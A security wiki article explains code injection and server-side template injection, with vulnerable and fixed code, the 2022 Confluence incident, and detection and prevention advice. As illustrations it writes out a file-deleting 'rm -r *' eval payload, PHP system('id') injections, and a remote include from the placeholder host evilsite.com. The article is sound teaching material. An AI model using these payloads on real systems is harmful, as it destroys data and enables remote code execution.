CCyberwiki

Code injection

Code injection
ClassInjection
Also known asEval injection; server-side template injection (SSTI)
CWECWE-94, with CWE-95 (eval) and CWE-1336 (template engines)
OWASP Top 10A05:2025 Injection
MITRE ATT&CKT1059 Command and Scripting Interpreter
Typical severityCritical
AffectsServer code that passes request data to eval(), exec(), new Function() or PHP include(), and templates assembled from user input

A Python script asks for a comma-separated list of numbers and reads it with eval(input()), which turns the text into a list. Given __import__('subprocess').getoutput('rm -r *') instead, the same line deletes every file in the working folder.1 Code injection is this pattern in general: a program builds part of the code it is about to run from outside input, without stopping that input from changing what the code does.1 The input is executed by the application's own language, so the attacker is held back only by what that language can do, and it runs with the application's permissions.23

In command injection, input slips into a shell command that existing code starts. In code injection the input is itself new code in PHP, Python or JavaScript, and that code can still start shell commands through a function such as PHP's system().2

Strings run as code

Functions that evaluate a string are the direct route: eval() in JavaScript, Python and PHP, Python's exec(), and JavaScript's Function() constructor, which parses its text as a function body.3 A developer reaches for them to call one of many functions by name, to read a list typed by a user, or to look up a property chosen at run time.13 In PHP, the following line sets a variable from a query parameter:

$x = $_GET['arg'];
eval("$myvar = $x;");

A request to /index.php?arg=1; phpinfo() ends the intended statement and adds a second one, and arg=1; system('id') runs a shell command.2 An error later in the generated code does not undo the injected statement: in a Perl example of the same pattern, the program fails only after the attacker's system() call has run.1

PHP's include() is another route. A page that loads ?page=contact.php by passing the name to include() can be sent ?page=http://evilsite.com/evilcode.php, and then runs a PHP file the attacker wrote.2

Template injection

A template engine turns a fixed template and a set of values into a page. The template is a string, and template syntax inside it is evaluated on the server. When user input is joined into the template instead of being passed in as a value, the user can write template expressions, and in many engines those expressions reach far enough to take over the server.4 Twig shows both forms:

// Safe: the name is passed as data
$twig->render("Dear {first_name},", array("first_name" => $user.first_name));

// Unsafe: the name becomes part of the template
$twig->render("Dear " . $_GET['name']);

The flaw is known as server-side template injection, or client-side template injection when the engine runs in the browser.5 Without full code execution it can still expose data and files on the server. Its output can also look like cross-site scripting, which hides the real cause.45

Confluence, June 2022

Over the US Memorial Day weekend of 2022, Volexity investigated two internet-facing Confluence Server machines belonging to a customer after JSP web shells appeared on disk. The cause was an unknown flaw that worked on current versions such as 7.17.3, and Volexity reported it to Atlassian on 31 May.6 Atlassian's advisory of 2 June described CVE-2022-26134 as an OGNL injection that let a visitor with no account run arbitrary code, under active exploitation, in every supported version. Fixed releases, among them 7.4.17 and 7.18.1, followed on 3 June.7 On the investigated machines the attacker loaded BEHINDER, a web shell that runs only in memory, then wrote two more web shells to disk, dumped user tables from the Confluence database and edited the web access logs.6

Finding it

A search of the source for eval(, exec(, new Function( and include(, and for template strings built with +, . or an f-string before they reach the engine's render or from_string call, lists the candidates. Each one matters when part of the text can come from a request, a form, a file or a database row that users write.

From outside, a tester sends characters common in template syntax, such as ${{<%[%'"}}%\; a server error suggests the input is parsed. A value such as ${7*7} that comes back as 49 shows server-side evaluation, with the exact syntax depending on the engine.4

Prevention

The fix is to stop building code from input. To read numbers, convert the text with int() and catch the error; the input is then never executed.1 Python's ast.literal_eval() refuses code, but deeply nested input can still exhaust memory, and Python's documentation discourages it for untrusted data.1

# Python: parse the values instead of evaluating them
try:
    numbers = [int(part) for part in text.split(",")]
except ValueError:
    numbers = None  # reject the input

In JavaScript, a property chosen at run time is read with bracket access, settings[key], not with eval.3 Where the key comes from a user, check it against a fixed list of allowed names (Input validation).1 Node's vm module is no sandbox; its documentation says it is not a security mechanism and must not run untrusted code.8 In the browser, a strict Content Security Policy blocks eval() and Function(), and Trusted Types make eval() refuse plain strings.3

Templates stay fixed in the code and values go in as data. Where users must write their own templates, as in a custom email editor, use an engine with a sandbox or restricted mode.5 Jinja's SandboxedEnvironment blocks internal attributes by default, but a short template can still produce enormous output, so the process needs CPU and memory limits and the template receives only the data it needs.9

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
html = env.from_string(user_template).render(order=order_summary)

Prompt for a coding agent

Find every place in this project where text is run as code: eval(), exec(), new Function(), setTimeout or setInterval with a string, PHP include() or require() with a variable path, and template strings built by joining text before they are rendered (render_template_string, from_string, Twig render with concatenation). For each one, check whether any part of the text can come from a request, a form, a cookie, a file upload or a database field users can edit. Replace those with code that parses or looks up values: int() or JSON.parse for data, bracket access with a fixed list of allowed keys, fixed templates with values passed as variables. If users must write templates, use the engine's sandbox. List each file and line you changed and any case you were unsure about.

In SecFlash

SecFlash reports input run as code on the server through eval or a similar function as SF-SEC-613, and source code that runs text with eval, exec or new Function as SF-SEC-705; the same code also covers unsafe loading with pickle or full YAML. A page script that calls eval or innerHTML appears as SF-SEC-646; it turns into cross-site scripting once attacker data reaches the call. All three show on the Security page.

See also

References

  1. a b c d e f g MITRE (n.d.). "CWE-94: Improper Control of Generation of Code ('Code Injection')". Common Weakness Enumeration.
  2. a b c d OWASP Foundation (n.d.). "Code Injection". OWASP Community.
  3. a b c d e MDN contributors (n.d.). "eval()". MDN Web Docs.
  4. a b c PortSwigger (n.d.). "Server-side template injection". Web Security Academy.
  5. a b c MITRE (n.d.). "CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine". Common Weakness Enumeration.
  6. a b Volexity (2 June 2022). "Zero-Day Exploitation of Atlassian Confluence". Volexity blog.
  7. back Atlassian (2 June 2022). "Confluence Server and Data Center: CVE-2022-26134, critical severity unauthenticated remote code execution vulnerability". Confluence security advisories.
  8. back Node.js (n.d.). "VM (executing JavaScript)". Node.js documentation.
  9. back Pallets (n.d.). "Sandbox". Jinja Documentation (3.1.x).